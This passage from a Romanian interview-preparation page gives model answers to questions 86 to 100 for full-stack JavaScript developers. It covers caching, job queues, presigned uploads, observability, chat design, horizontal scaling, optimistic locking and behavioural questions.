  • ordinea: întâi scrii în baza de date, apoi invalidezi. Invers, o citire intermediară poate repune valoarea veche în cache;
  • TTL pe toate cheile, ca un bug de invalidare să nu fie permanent;
  • versiunea în cheie (v1): când schimbi forma obiectului, treci la v2, iar cheile vechi expiră singure;
  • cache stampede: când expiră o cheie foarte populară, sute de cereri lovesc baza de date simultan. Soluții: un lock scurt, ca doar o cerere să reconstruiască valoarea, TTL cu variație aleatoare sau reîmprospătare în fundal;
  • date personalizate: cheia include utilizatorul, altfel servești datele unuia altuia;
  • ce nu pui în cache: date care trebuie să fie exacte la momentul tranzacției (stocul la checkout, soldul).

Înainte de cache, verifică dacă problema nu se rezolvă cu un index sau cu un query mai bun: un cache adaugă o sursă de inconsistență și încă un sistem de operat. Cache-ul HTTP sau cel de CDN poate fi o alternativă mai simplă pentru date publice.

Ce urmărește intervievatorul: Se verifică dacă știi că partea grea a cache-ului este invalidarea. Răspunsurile slabe descriu doar citirea din Redis și uită de date vechi, stampede și TTL.

86 Mid

După plasarea unei comenzi trebuie trimis un email, generată o factură PDF și notificat depozitul. De ce nu faci totul în cererea HTTP și cum ai implementa?

Răspuns scurt: Operațiile lente sau nesigure în cererea HTTP fac utilizatorul să aștepte și pot strica o comandă reușită. Le pui într-o coadă de joburi (de exemplu BullMQ peste Redis), procesate de workeri separați, cu reîncercări, și răspunzi imediat după salvarea comenzii.

Probleme dacă faci totul sincron: serverul de email răspunde greu și cererea durează secunde; dacă generarea PDF-ului eșuează după ce comanda a fost salvată, utilizatorul vede eroare deși comanda există și apasă din nou; un proces Node ocupat cu generarea PDF-ului servește mai lent ceilalți utilizatori.

Cu o coadă:

JavaScript
// în API, după salvarea comenzii
import { Queue } from 'bullmq';
const queue = new Queue('orders', { connection: redisConn });
await queue.add('order-placed', { orderId: order.id }, {
  attempts: 5,
  backoff: { type: 'exponential', delay: 2000 },
  jobId: 'order-placed:' + order.id
});
res.status(201).json(order);

// worker.js, proces separat
import { Worker } from 'bullmq';
new Worker('orders', async (job) => {
  const order = await ordersRepo.findById(job.data.orderId);
  await sendConfirmationEmail(order);
  await generateInvoice(order);
  await notifyWarehouse(order);
}, { connection: redisConn, concurrency: 5 });

Principii:

  • joburile sunt idempotente, pentru că o reîncercare poate rula a doua oară un pas deja reușit. Ideal, fiecare pas e un job separat, ca o reîncercare a facturii să nu retrimită emailul;
  • trimiți în job id-ul, nu tot obiectul, și citești starea actuală;
  • dead letter: joburile care eșuează definitiv rămân vizibile și generează alertă;
  • outbox: dacă procesul cade între salvarea comenzii și adăugarea jobului, jobul se pierde. Tiparul transactional outbox salvează evenimentul în baza de date, în aceeași tranzacție cu comanda, iar un proces separat îl publică în coadă;
  • workerii scalează independent de API.

Alternative: RabbitMQ, SQS, sau cozi peste PostgreSQL (pg-boss, Graphile Worker), care evită încă o componentă de infrastructură.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi să separi răspunsul rapid de munca de fundal. Detaliile care disting un candidat bun sunt idempotența joburilor și pierderea joburilor între commit și coadă.

87 Mid

Utilizatorii încarcă fișiere video de câteva sute de megaocteți. Cum proiectezi uploadul ca să nu treacă prin serverul Node?

Răspuns scurt: Backendul verifică permisiunea și generează un URL presemnat pentru object storage (S3 sau compatibil), valabil câteva minute. Browserul urcă fișierul direct acolo, eventual în bucăți (multipart), apoi anunță backendul, care verifică fișierul și salvează metadatele.

Prin serverul Node, fiecare upload ține ocupată o conexiune minute întregi, consumă lățime de bandă și memorie, se lovește de limitele proxy-ului și de timeouturi și pune presiune pe event loop.

Fluxul cu URL presemnat:

JavaScript
// backend
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';

app.post('/api/uploads', requireAuth, async (req, res) => {
  const { contentType, size } = UploadRequest.parse(req.body);
  const key = 'videos/' + req.user.id + '/' + crypto.randomUUID();
  const url = await getSignedUrl(s3, new PutObjectCommand({
    Bucket: process.env.BUCKET, Key: key, ContentType: contentType
  }), { expiresIn: 600 });
  await uploadsRepo.create({ key, userId: req.user.id, status: 'pending' });
  res.json({ url, key });
});
JavaScript
// frontend
const { url, key } = await api('/api/uploads', { method: 'POST', body: JSON.stringify({ contentType: file.type, size: file.size }) });
await fetch(url, { method: 'PUT', body: file, headers: { 'Content-Type': file.type } });
await api('/api/uploads/' + encodeURIComponent(key) + '/complete', { method: 'POST' });

Detalii de proiectare:

  • cheia o generează serverul, nu clientul, ca nimeni să nu suprascrie fișierele altcuiva;
  • validezi tipul și dimensiunea înainte de semnare; pentru limitarea strictă a dimensiunii, presigned POST cu condiții sau verificarea după upload;
  • multipart upload pentru fișiere mari: bucăți încărcate în paralel și reluate individual la eșec, cu bară de progres;
  • configurezi CORS pe bucket pentru originea aplicației;
  • la complete (sau printr-o notificare de eveniment a bucketului) verifici că obiectul există și pornești un job de procesare (transcodare, miniaturi, scanare);
  • fișierele rămân private și sunt servite tot prin URL-uri presemnate sau printr-un CDN cu acces semnat.

Ce urmărește intervievatorul: Se verifică gândirea despre resurse și scalare într-un flux concret. Răspunsul slab urcă totul prin Express cu multer, fără limite sau procesare asincronă.

88 Mid

Utilizatorii spun că aplicația e lentă. Cum afli dacă problema e în frontend, în rețea, în backend sau în baza de date?

Răspuns scurt: Măsori înainte să optimizezi: în DevTools vezi împărțirea timpului fiecărei cereri și costul randării, pe backend logurile cu durate și tracing-ul arată unde se pierde timpul, iar în baza de date cauți query-urile lente și planurile lor.

Mai întâi clarifici simptomul: lentă la prima încărcare, la navigare sau la o anumită acțiune? Pentru toți utilizatorii sau doar pe mobil, doar într-o regiune, doar pentru conturile cu multe date?

În browser (DevTools):

  • Network cu limitare de viteză și filtrul pe Fetch/XHR: durata fiecărei cereri și componentele ei (DNS, conectare, TLS, Waiting / TTFB, descărcare). Un TTFB mare înseamnă că serverul lucrează greu. O descărcare lungă înseamnă un răspuns prea mare. Multe cereri în cascadă înseamnă o problemă de arhitectură a datelor;
  • Performance: sarcini JavaScript lungi, re-randări inutile; React DevTools Profiler arată ce componente se randează și de ce;
  • Lighthouse și Core Web Vitals din datele reale de teren.

Pe backend:

  • loguri cu durata fiecărei cereri și percentile (p50, p95, p99), nu doar media;
  • tracing (OpenTelemetry, un APM) care descompune cererea: cât în middleware, cât în query-uri, cât în apeluri externe;
  • event loop lag: un calcul sincron poate încetini toate cererile;
  • pool-ul de conexiuni: cereri care așteaptă o conexiune liberă.

În baza de date:

  • logul de query-uri lente sau pg_stat_statements pentru cele mai costisitoare query-uri cumulat;
  • EXPLAIN ANALYZE pentru planul de execuție: scanări complete, indexuri lipsă, estimări greșite;
  • numărul de query-uri per cerere, ca să prinzi N+1.

Corecturile obișnuite, în funcție de cauză: un index, eliminarea N+1, paginare, un payload mai mic, cache, code splitting, cereri în paralel în loc de cascadă. După corectură măsori din nou, ca să confirmi efectul.

Ce urmărește intervievatorul: Intervievatorul verifică o metodă de diagnostic cap-coadă, specifică full-stack. Greșeala tipică este o optimizare aleasă din intuiție, fără măsurători.

89 Senior

O eroare apare rar și doar în producție, pe un flux care trece prin frontend, API, o coadă și un serviciu extern. Cum construiești observabilitatea ca să o poți urmări?

Răspuns scurt: Ai nevoie de loguri structurate, metrici și trasee distribuite legate prin același identificator de corelare, propagat din browser prin API și coadă până la serviciul extern, plus raportarea erorilor de frontend și alerte pe simptomele văzute de utilizatori.

Corelarea este piesa centrală. Fiecare cerere primește un identificator, propagat peste tot:

  • frontendul trimite headerul standard traceparent (W3C Trace Context) sau un X-Request-Id;
  • API-ul îl preia, îl pune în contextul logurilor (cu AsyncLocalStorage în Node, ca să nu-l transmiți manual prin toate funcțiile) și îl trimite mai departe la apelurile HTTP;
  • când pune un job în coadă, include identificatorul în datele jobului, iar workerul îl reia;
  • identificatorul apare în răspunsurile de eroare, ca suportul să-l poată cere utilizatorului.

Loguri structurate (JSON cu pino), cu câmpuri fixe: traceId, userId (nu emailul sau alte date personale), route, status, durationMs, error.code. Centralizate (Loki, Elasticsearch, serviciul de cloud), cu retenție și acces controlat.

Metrici: rata de erori, latența pe percentile, lungimea cozii și vârsta celui mai vechi job, rata de eșec a apelurilor către serviciul extern, metrici de business (comenzi pe minut).

Trasee distribuite cu OpenTelemetry: instrumentarea automată pentru HTTP, Express, pg și Redis creează intervale (spans) pentru fiecare pas, iar un backend precum Jaeger, Tempo sau un APM comercial arată cascada completă a unei cereri lente.

Frontend: un serviciu de raportare a erorilor (Sentry sau similar) cu source maps urcate la build, dar neservite public, plus versiunea aplicației și ultimele acțiuni ale utilizatorului.

Alerte pe simptome (SLO-uri: de exemplu, rata de erori la checkout peste un prag timp de cinci minute), nu pe fiecare excepție, ca echipa să nu ignore zgomotul. Pentru erori rare, eșantionarea traseelor păstrează mereu traseele cu erori și pe cele lente.

Ce urmărește intervievatorul: Se verifică experiența cu sisteme distribuite în producție. Răspunsul slab este „mă uit în loguri”, fără corelare între componente.

90 Senior

Proiectează pe scurt o funcționalitate de chat în timp real pentru o aplicație existentă cu React și Node.js.

Răspuns scurt: Mesajele se salvează în baza de date ca sursă de adevăr și se distribuie prin WebSocket, iar cu mai multe instanțe Node un pub/sub (Redis) le transmite mai departe. La reconectare, clientul reîncarcă istoricul, iar un id generat de client previne duplicatele.

Întâi clarifici cerințele: conversații 1-la-1 sau grupuri, câți utilizatori simultan, confirmări de citire, notificări când utilizatorul e offline, fișiere atașate, cât istoric păstrezi.

Date (PostgreSQL):

SQL
CREATE TABLE messages (
  id bigserial PRIMARY KEY,
  conversation_id bigint NOT NULL REFERENCES conversations(id),
  sender_id bigint NOT NULL REFERENCES users(id),
  client_id uuid NOT NULL,
  body text NOT NULL,
  created_at timestamptz NOT NULL DEFAULT now(),
  UNIQUE (sender_id, client_id)
);
CREATE INDEX ON messages (conversation_id, id DESC);

Fluxul unui mesaj:

  • clientul generează client_id și afișează mesajul imediat, în starea „se trimite”;
  • trimite pe WebSocket (sau printr-un POST, mai simplu de autentificat și de limitat);
  • serverul verifică dacă expeditorul face parte din conversație, salvează mesajul (constrângerea UNIQUE face reîncercările inofensive) și publică evenimentul pe canalul Redis al conversației;
  • fiecare instanță abonată trimite mesajul conexiunilor locale ale participanților;
  • expeditorul primește confirmarea cu id-ul de server și starea „trimis”.

Conexiuni: autentificarea la handshake (cookie de sesiune sau token de scurtă durată), heartbeat pentru detectarea conexiunilor moarte, reconectare cu backoff pe client. La reconectare, clientul cere GET /conversations/7/messages?after=<ultimul id>, deci nu se pierde nimic chiar dacă un eveniment din timp real s-a pierdut. WebSocket-ul este doar canalul rapid, nu garanția livrării.

Scalare: load balancer cu suport pentru WebSocket; Redis pub/sub sau Socket.IO cu adaptorul Redis; dacă volumul crește mult, un broker de mesaje dedicat.

Restul: rate limiting per utilizator, notificări push pentru utilizatorii offline printr-un job, paginare cu cursor pentru istoric, starea „citit” păstrată ca ultimul id citit per utilizator și conversație.

Ce urmărește intervievatorul: Intervievatorul verifică dacă poți structura un design de sistem: cerințe, date, flux, eșecuri, scalare. Greșeala clasică este bazarea exclusivă pe WebSocket, fără persistență și fără recuperare la reconectare.

91 Senior

Ai sesiuni salvate în memoria procesului Node și trebuie să treci de la o instanță la patru. Ce se strică și cum faci aplicația scalabilă orizontal?

Răspuns scurt: Orice stare ținută în memoria procesului devine inconsistentă: sesiunile, cache-urile locale, rate limiting-ul, conexiunile WebSocket, joburile programate cu setInterval și fișierele încărcate pe discul local. Aplicația trebuie să devină stateless, cu starea mutată în servicii comune: Redis, baza de date, object storage.

Cu patru instanțe în spatele unui load balancer, cererile succesive ale aceluiași utilizator ajung la instanțe diferite.

Ce se strică și soluția:

  • sesiuni în memorie: utilizatorul apare delogat aleatoriu. Mutare în Redis (connect-redis) sau în baza de date. Sticky sessions (legarea utilizatorului de o instanță) ascund problema, dar sesiunile se pierd la fiecare repornire și încărcarea devine inegală;
  • cache local (un Map): instanțele au date diferite, iar invalidarea pe una nu le afectează pe celelalte. Folosești Redis sau un cache local foarte scurt, acceptând conștient diferențele;
  • rate limiting în memorie: limita reală devine de patru ori mai mare; contoarele trebuie mutate în Redis;
  • WebSocket: un mesaj emis pe instanța A nu ajunge la clienții conectați la B; ai nevoie de pub/sub;
  • joburi cu setInterval sau cron în proces: rulează de patru ori (patru emailuri de raport). Le muți într-un worker unic sau într-o coadă cu joburi programate și blocare distribuită;
  • fișiere pe discul local: uploadul ajunge pe o instanță și lipsește pe celelalte; folosești object storage;
  • conexiuni la baza de date: patru pool-uri înseamnă de patru ori mai multe conexiuni, deci recalculezi dimensiunea sau adaugi PgBouncer.

Pe un singur server, poți folosi toate nucleele cu modul cluster din Node sau cu PM2 în mod cluster, care ridică exact aceleași probleme, deci e un bun test înainte de scalarea pe mai multe mașini.

Principiul twelve-factor: procesele sunt fără stare și înlocuibile oricând, iar orice stare durabilă stă într-un serviciu extern.

Ce urmărește intervievatorul: Se verifică dacă știi să identifici starea ascunsă dintr-o aplicație. Răspunsul incomplet tipic se oprește la sesiuni și uită de joburile programate, de fișiere sau de rate limiting.

92 Senior

Doi administratori editează același produs în același timp, iar modificările unuia se pierd. Cum previi asta, cap-coadă?

Răspuns scurt: Folosești optimistic locking: fiecare rând are o versiune (sau updated_at), clientul o trimite înapoi la salvare, iar serverul actualizează doar dacă versiunea nu s-a schimbat. Altfel răspunde 409 Conflict, iar interfața îi arată utilizatorului modificările celuilalt și îl lasă să decidă.

Problema se numește lost update: A și B deschid produsul cu prețul 100. A schimbă prețul la 90 și salvează. B schimbă descrierea și salvează formularul complet, cu prețul vechi de 100. Modificarea lui A dispare fără să știe nimeni.

Pe backend, coloana version:

SQL
UPDATE products
SET price = $1, description = $2, version = version + 1
WHERE id = $3 AND version = $4
RETURNING *;

Dacă nu se întoarce niciun rând, altcineva a modificat produsul între timp:

JavaScript
if (result.rowCount === 0) {
  const current = await productsRepo.findById(id);
  return res.status(409).json({ error: { code: 'version_conflict' }, current });
}

Echivalentul HTTP standard: serverul trimite ETag: "7" la citire, clientul trimite If-Match: "7" la salvare, iar serverul răspunde 412 Precondition Failed dacă versiunea diferă.

Pe frontend:

  • formularul păstrează versiunea primită la încărcare și o trimite la salvare;
  • la 409, nu arunci munca utilizatorului: afișezi ce s-a schimbat („Prețul a fost modificat de altcineva în 90”) și oferi variantele reîncarcă, suprascrie conștient sau combină.

Alternative:

  • pessimistic locking (SELECT ... FOR UPDATE sau un flag „editat de X”): potrivit pentru operații scurte pe server, nepotrivit pentru un formular ținut deschis zece minute;
  • operații atomice pentru contoare și stoc (stock = stock - 1), unde nu ai nevoie de versiune;
  • pentru editare simultană reală, ca în Google Docs, CRDT-uri sau transformare operațională (Yjs), cu un cost de complexitate mult mai mare.

Ca senior, alegi după frecvența reală a conflictelor și după costul unei modificări pierdute.

Ce urmărește intervievatorul: Intervievatorul verifică înțelegerea concurenței ca problemă care traversează UI, API și bază de date. Greșeala tipică este o soluție doar în baza de date, fără o experiență clară pentru utilizator la conflict.

Comportamentale și HR

93 Junior

Povestește-mi despre un proiect full-stack pe care l-ai construit. Ce ai făcut tu, concret?

Răspuns scurt: Alegi un singur proiect și îl prezinți în două-trei minute: problema rezolvată, tehnologiile și motivul alegerii, partea ta concretă, o dificultate tehnică și soluția ei, plus ce ai face altfel acum. Pregătește-te pentru întrebări de detaliu.

Intervievatorul vrea să vadă dacă ai construit ceva cap-coadă și dacă înțelegi deciziile din spatele lui, nu doar că ai urmat un tutorial.

Structură recomandată:

  • Contextul: ce este aplicația și pentru cine. „O aplicație de rezervări pentru o sală de sport, făcută pentru un prieten care ținea programările într-un tabel.”
  • Arhitectura pe scurt: React cu Vite, API în Node și Express, PostgreSQL, autentificare cu sesiuni în cookie, deploy cu Docker pe un VPS în spatele lui Nginx.
  • Contribuția ta: la un proiect de echipă, spune clar ce ai făcut tu („eu am făcut API-ul de rezervări și pagina de calendar”). Folosește „eu” pentru partea ta și „noi” pentru restul.
  • O provocare tehnică reală: „Două persoane puteau rezerva ultimul loc în același timp. Am mutat verificarea într-o tranzacție, cu o constrângere în baza de date, și am adăugat un test care trimite cereri simultane.”
  • Rezultatul: ce funcționează, cine o folosește, ce ai învățat.
  • Ce ai face diferit: „Aș fi pus validarea într-o schemă comună pentru frontend și backend de la început.” Arată maturitate.

Pregătire:

  • ai linkul la cod și o versiune live, cu README clar și date de test;
  • recitește-ți codul înainte de interviu, pentru că fiecare tehnologie menționată poate deveni următoarea întrebare („de ce sesiuni și nu JWT?”);
  • nu exagera: dacă o parte a fost făcută după un tutorial sau cu ajutorul unui asistent AI, spune ce ai înțeles și ce ai adaptat tu. Intervievatorii observă repede diferența.

Ce urmărește intervievatorul: Se verifică experiența practică reală și capacitatea de a explica decizii tehnice. Greșeala tipică este o enumerare de tehnologii fără nicio problemă rezolvată sau decizie argumentată.

94 Junior

Povestește despre un bug greu pe care l-ai rezolvat.

Răspuns scurt: Folosește structura STAR: situația, sarcina, acțiunile tale și rezultatul. Pune accent pe metoda de depanare (cum ai izolat cauza între frontend, API și baza de date), pe cauza reală și pe ce ai schimbat ca problema să nu mai apară.

Intervievatorul nu caută un bug spectaculos, ci felul în care gândești când ceva nu merge.

Structura STAR, cu un exemplu:

  • Situația: „În aplicația de comenzi, unii utilizatori raportau că după login erau trimiși înapoi la pagina de login, dar nu toți și nu mereu.”
  • Sarcina: „Eram responsabil de partea de autentificare și trebuia să găsesc cauza.”
  • Acțiunile (partea cea mai importantă):
  • „Am încercat să reproduc problema: local nu apărea, pe staging da, doar în Safari.”
  • „În DevTools am văzut că răspunsul de la login seta cookie-ul, dar cererea următoare nu îl trimitea.”
  • „Frontendul era pe alt domeniu decât API-ul, iar cookie-ul avea SameSite=None fără Secure pe staging, plus restricțiile Safari pentru cookie-uri de terță parte.”
  • „Am verificat ipoteza modificând configurarea pe staging, ca să confirm cauza înainte să schimb codul.”
  • Rezultatul: „Am pus API-ul sub același domeniu, prin reverse proxy, pe calea /api, iar cookie-ul a devenit first-party. Problema a dispărut, am adăugat un test end-to-end pentru login în WebKit cu Playwright și am scris o notă în documentația echipei.”

Ce face un răspuns bun:

  • arată pași de izolare, nu noroc;
  • conține detalii tehnice credibile, la care poți răspunde dacă ești întrebat mai departe;
  • se încheie cu prevenție (test, monitorizare, documentație);
  • ai pregătit povestea dinainte și o spui în două-trei minute.

Evită bug-urile banale („lipsea o virgulă”) și poveștile în care vina e a altcuiva.

Ce urmărește intervievatorul: Se verifică metoda de depanare și onestitatea. Răspunsurile slabe sunt vagi („am căutat pe internet și am găsit soluția”) sau nu spun ce a făcut candidatul concret.

95 Junior

Primești un task formulat vag, de exemplu „adaugă filtre pe pagina de comenzi”. Cum procedezi?

Răspuns scurt: Clarifici înainte să scrii cod: ce filtre, pentru cine, cum ar trebui să se comporte, ce înseamnă „gata”. Pui întrebările concrete persoanei potrivite, îți notezi presupunerile, propui o variantă simplă pentru confirmare, apoi livrezi în pași mici, arătând progresul devreme.

Intervievatorul vrea să știe dacă vei construi ce trebuie sau vei pierde zile pe o interpretare greșită.

Un răspuns structurat:

  • Înțelege scopul: „Ce problemă rezolvăm? Cine folosește pagina, clienții sau echipa de suport?” Scopul schimbă soluția: suportul vrea căutare după numărul comenzii, clientul vrea filtrare după status.
  • Întrebări concrete, grupate, nu zece mesaje separate:
  • ce filtre (status, interval de date, sumă), combinabile sau nu;
  • filtrele trebuie să rămână în URL, ca linkul să poată fi trimis cuiva?
  • câte comenzi pot exista, adică filtrăm pe server sau pe client?
  • există un design sau aleg eu din componentele existente?
  • Analizează partea full-stack: endpointul actual suportă parametrii? E nevoie de un index nou în baza de date? Ce face aplicația mobilă, dacă folosește același endpoint?
  • Propune și confirmă: „Propun filtre după status și interval de date, în query string, filtrare pe server, cu index pe status și dată. Căutarea după client o fac într-un task separat. E în regulă?” Scris, ca să rămână ca referință.
  • Livrează incremental: întâi filtrul pe status cap-coadă, arătat într-un pull request mic sau pe staging, apoi restul.

Exemplu de formulare la interviu: „Prefer să pierd zece minute cu întrebări decât două zile cu varianta greșită. Dacă persoana nu e disponibilă, îmi notez presupunerile în task și aleg varianta cea mai ușor de schimbat.”

Evită ambele extreme: să începi imediat fără întrebări sau să aștepți blocat până când cineva îți scrie specificația completă.

Ce urmărește intervievatorul: Se verifică autonomia și comunicarea. Juniorii fie încep imediat să scrie cod, fie se blochează așteptând instrucțiuni complete; ambele sunt semnale negative.

96 Junior

De ce vrei să lucrezi ca full-stack developer și nu doar pe frontend sau doar pe backend?

Răspuns scurt: Leagă alegerea de ceva concret: îți place să duci o funcționalitate de la idee până în producție, să înțelegi drumul datelor și să depanezi problemele dintre interfață și server. Spune onest unde ești mai puternic și ce vrei să aprofundezi.

Intervievatorul verifică motivația și autocunoașterea. Un răspuns de tipul „ca să știu de toate” sună a lipsă de direcție.

Elemente de inclus:

  • Motivul concret, ideal dintr-o experiență: „Când am făcut aplicația de rezervări, partea care mi-a plăcut cel mai mult a fost să decid cum arată API-ul ca formularul din React să fie simplu, și să înțeleg de ce un cookie nu ajungea la server. Îmi place să văd tot drumul unei funcționalități.”
  • Valoarea pentru echipă: un full-stack poate livra singur o funcționalitate mică, de la tabel la buton, reduce predările între oameni și înțelege ambele perspective când se discută contractul unui API.
  • Onestitate despre profil: aproape nimeni nu e la fel de puternic pe ambele părți. „Acum sunt mai sigur pe backend și SQL; pe frontend lucrez să înțeleg mai bine performanța în React și accesibilitatea.” Asta arată maturitate, nu slăbiciune.
  • Direcția: ce vrei să înveți în rolul acesta și cum se potrivește cu ce face echipa lor. Citește anunțul și descrierea produsului dinainte: dacă firma are o aplicație cu multe formulare și rapoarte, spune de ce te atrage exact asta.

Structură scurtă, de un minut: 1. ce îți place, cu un exemplu; 2. unde ești acum, onest; 3. de ce acest rol și această echipă.

Evită să critici rolurile specializate („frontendul e doar CSS”). Interlocutorul poate fi exact un specialist și, în plus, mesajul arată că nu înțelegi complexitatea acelei părți.

Ce urmărește intervievatorul: Se verifică motivația și cât de realist te evaluezi. Greșeala tipică este un răspuns generic, care nu menționează nimic din experiența proprie sau din rolul respectiv.

97 Junior

Cum înveți o tehnologie nouă de care ai nevoie la un task, de exemplu un framework pe care nu l-ai folosit?

Răspuns scurt: Pornești de la documentația oficială și de la exemplele ei, construiești rapid ceva mic și concret legat de task, apoi aprofundezi pe măsură ce lucrezi. Te uiți la cum e folosită tehnologia deja în codul echipei, ceri feedback devreme și îți notezi ce ai învățat.

Ecosistemul JavaScript se schimbă repede, așa că intervievatorul vrea să vadă un proces, nu o listă de cursuri.

Un răspuns structurat, cu un exemplu:

  • Scopul exact: „Trebuia să adaug teste end-to-end cu Playwright. Nu aveam nevoie să știu tot, ci să scriu un test stabil pentru login și checkout.”
  • Sursa principală: documentația oficială și ghidul de pornire, nu primul tutorial găsit, care poate fi pentru o versiune veche. Verific versiunea folosită în proiect.
  • Un experiment mic, separat: un proiect de încercare în care fac pașii de bază și greșesc fără consecințe.
  • Codul echipei: dacă tehnologia există deja în proiect, mă uit la convențiile folosite și la cine a scris codul, ca să pot întreba.
  • Aplic pe task, în pași mici, și cer un review devreme: „Am scris primul test, îmi poți spune dacă abordarea e în regulă înainte să scriu restul?”
  • Înțeleg de ce, nu doar cum: de exemplu, de ce Playwright recomandă selectori după rol și text și ce problemă rezolvă așteptarea automată.
  • Notez ce am învățat (un README, o pagină în wiki) pentru colegii următori.

Despre asistenții AI și căutări: e normal să îi folosești, dar spune că verifici codul generat în documentație și că îl înțelegi înainte să-l urci. Intervievatorii apreciază această onestitate.

Încheie cu un exemplu real în care ai făcut asta și cu cât timp ți-a luat să devii productiv. Fără cifre umflate, ci ceva verificabil, din proiectele tale.

Ce urmărește intervievatorul: Intervievatorul verifică autonomia și capacitatea de adaptare. Răspunsurile slabe sunt pasive („aș urma un curs”) sau nu menționează documentația oficială și verificarea surselor.

98 Mid

Ai primit un comentariu la code review cu care nu ești de acord, sau nu ești de acord cu o decizie tehnică a echipei. Cum procedezi?

Răspuns scurt: Încerci întâi să înțelegi argumentul celuilalt, apoi îți expui poziția cu fapte concrete: cod, măsurători, documentație, riscuri. Discuți direct dacă firul de comentarii se lungește, iar dacă echipa decide altfel, susții decizia și documentezi compromisul. Separi preferințele personale de problemele reale.

Intervievatorul verifică dacă poți colabora fără să blochezi echipa și fără să renunți la argumente valide.

Model de răspuns (STAR):

  • Situația: „Am deschis un PR în care am pus validarea datelor într-o schemă Zod comună pentru frontend și backend. Un coleg senior a cerut să păstrăm validări separate, pentru că pachetul comun ar fi încetinit build-ul frontendului.”
  • Acțiunile:
  • „Am întrebat întâi ce anume îl îngrijora, ca să înțeleg dacă e o preferință sau un risc concret.”
  • „Am măsurat: build-ul creștea cu sub o secundă, iar bundle-ul cu dimensiunea bibliotecii Zod, pe care frontendul o folosea deja.”
  • „Am arătat două bug-uri recente apărute din validări desincronizate între frontend și API.”
  • „Discuția din comentarii se lungea, așa că am propus un apel de zece minute.”
  • Rezultatul: „Am convenit să folosim schema comună doar pentru endpointurile noi și am notat decizia, cu motivele ei, în documentația proiectului.”

Principii de menționat:

  • comentariul nu e despre tine; un review te ajută să livrezi cod mai bun;
  • distinge severitatea: corectitudine și securitate (insiști), mentenabilitate (argumentezi), stil (urmezi convenția echipei sau automatizezi cu un linter);
  • disagree and commit: după ce s-a decis, nu reiei discuția la fiecare PR și nu implementezi pe ascuns varianta ta;
  • invers, când tu faci review, formulezi comentariile ca întrebări sau sugestii și marchezi ce e blocant și ce e opțional.

Un exemplu în care tu ai greșit și ai acceptat argumentul celuilalt e la fel de valoros.

Ce urmărește intervievatorul: Se verifică maturitatea în colaborare. Semnalele negative sunt încăpățânarea fără argumente sau, opusul, acceptarea oricărei critici fără discuție.

99 Mid

Povestește o situație în care ai introdus o problemă în producție. Ce ai făcut?

Răspuns scurt: Recunoști direct greșeala și descrii pe scurt: ce s-a întâmplat, cum a fost observată, ce ai făcut imediat ca să limitezi impactul (de obicei rollback), cum ai găsit cauza, ce ai comunicat și ce ai schimbat în proces ca să nu se repete.

Toți programatorii care au livrat cod au stricat ceva în producție. Intervievatorul verifică responsabilitatea, calmul și dacă înveți din greșeli.

Model de răspuns (STAR):

  • Situația: „Am livrat o migrare care redenumea o coloană din tabelul de comenzi. Codul nou și migrarea au plecat în același deploy.”
  • Ce s-a întâmplat: „În timpul deploy-ului, instanțele vechi încă rulau și căutau coloana cu numele vechi. Pentru câteva minute, plasarea comenzilor a dat erori 500. Alerta pe rata de erori a pornit, iar eu am văzut-o imediat, pentru că urmăream monitorizarea după deploy.”
  • Acțiuni imediate: „Am anunțat pe canalul echipei ce se întâmplă și că mă ocup. Deploy-ul s-a terminat între timp și erorile au dispărut, dar am verificat că nicio comandă nu rămăsese pe jumătate salvată, datorită tranzacției.”
  • Analiza: „Am scris un post-mortem fără vinovați: cauza era că schimbarea de schemă nu era compatibilă cu versiunea anterioară a codului.”
  • Prevenție: „Am propus regula expand and contract pentru migrări și un pas în checklistul de PR pentru migrări. De atunci, schimbările de schemă se fac în pași separați.”

Ce face un răspuns bun:

  • asumare clară, fără a da vina pe alții sau pe „sistem”;
  • prioritățile corecte: întâi limitezi impactul (rollback, feature flag), apoi cauți cauza;
  • comunicare cu echipa și, dacă e cazul, cu suportul;
  • o schimbare de proces, nu doar „am fost mai atent”.

Alege o problemă reală, de gravitate medie, pe care o poți explica tehnic în detaliu.

Ce urmărește intervievatorul: Intervievatorul verifică asumarea responsabilității și reacția sub presiune. Semnalul negativ este „nu am stricat niciodată nimic” sau o poveste în care vina e a altcuiva.

100 Senior

Managerul de produs vrea o funcționalitate nouă în două săptămâni, dar codul din zona respectivă are multă datorie tehnică. Cum gestionezi situația?

Răspuns scurt: Traduci datoria tehnică în risc și cost pentru business, nu în argumente estetice. Propui opțiuni concrete, cu compromisurile lor: livrarea minimă la termen plus refactorizarea strict necesară, sau termen ajustat cu risc redus, apoi lași decizia informată să fie luată împreună și o documentezi.

Intervievatorul verifică dacă poți echilibra nevoile de business cu sănătatea codului și dacă vorbești limba celor care nu sunt programatori.

Model de răspuns:

  • Înțeleg constrângerea: „Întâi aflu de ce contează termenul: o campanie, un client, un demo? Un termen legat de un eveniment fix are altă flexibilitate decât unul ales arbitrar.”
  • Evaluez concret datoria: ce anume face funcționalitatea mai lentă sau mai riscantă? De exemplu: „Logica de prețuri e duplicată în trei locuri, fără teste. Orice schimbare acolo a produs bug-uri în ultimele luni.”
  • Prezint opțiuni, nu un refuz:
  • *A*: livrăm la termen, în varianta minimă, și refactorizăm doar zona atinsă, cu teste pentru comportamentul actual. Riscul rămâne moderat, iar restul datoriei intră în planificare.
  • *B*: o săptămână în plus, unificăm logica de prețuri; funcționalitatea următoare din zona asta va merge mult mai repede.
  • *C*: livrăm exact cum e codul acum; cel mai rapid, cu riscul cel mai mare de bug-uri la plată.
  • Decizia e comună și scrisă: managerul decide prioritatea de business, eu răspund de estimarea riscului tehnic. Notez compromisul ales, ca datoria să nu devină invizibilă.
  • Prevenție pe termen lung: un procent constant din fiecare sprint pentru mentenanță, datoria ținută într-o listă vizibilă și prioritizată, refactorizare făcută odată cu funcționalitățile („regula cercetașului”), nu în proiecte mari separate.

Exemplu real dacă ai: o situație în care ai negociat astfel și ce s-a întâmplat după. Evită povestea „am refactorizat pe ascuns” sau „am spus că nu se poate”.

Ce urmărește intervievatorul: Se verifică gândirea de senior: comunicare cu produsul, opțiuni cu compromisuri și asumarea riscului tehnic. Semnalul negativ este refuzul rigid sau acceptarea tăcută a oricărui termen.

Întrebări de interviu pe tehnologii

Pregătire de interviu pentru alte meserii

Exerciții rezolvate pentru Full-Stack Developer (JavaScript)

← Toate întrebările de interviu

Tudor Andrei Dumitrescu
Cine coordonează pregătirea de interviu

Tudor Andrei Dumitrescu

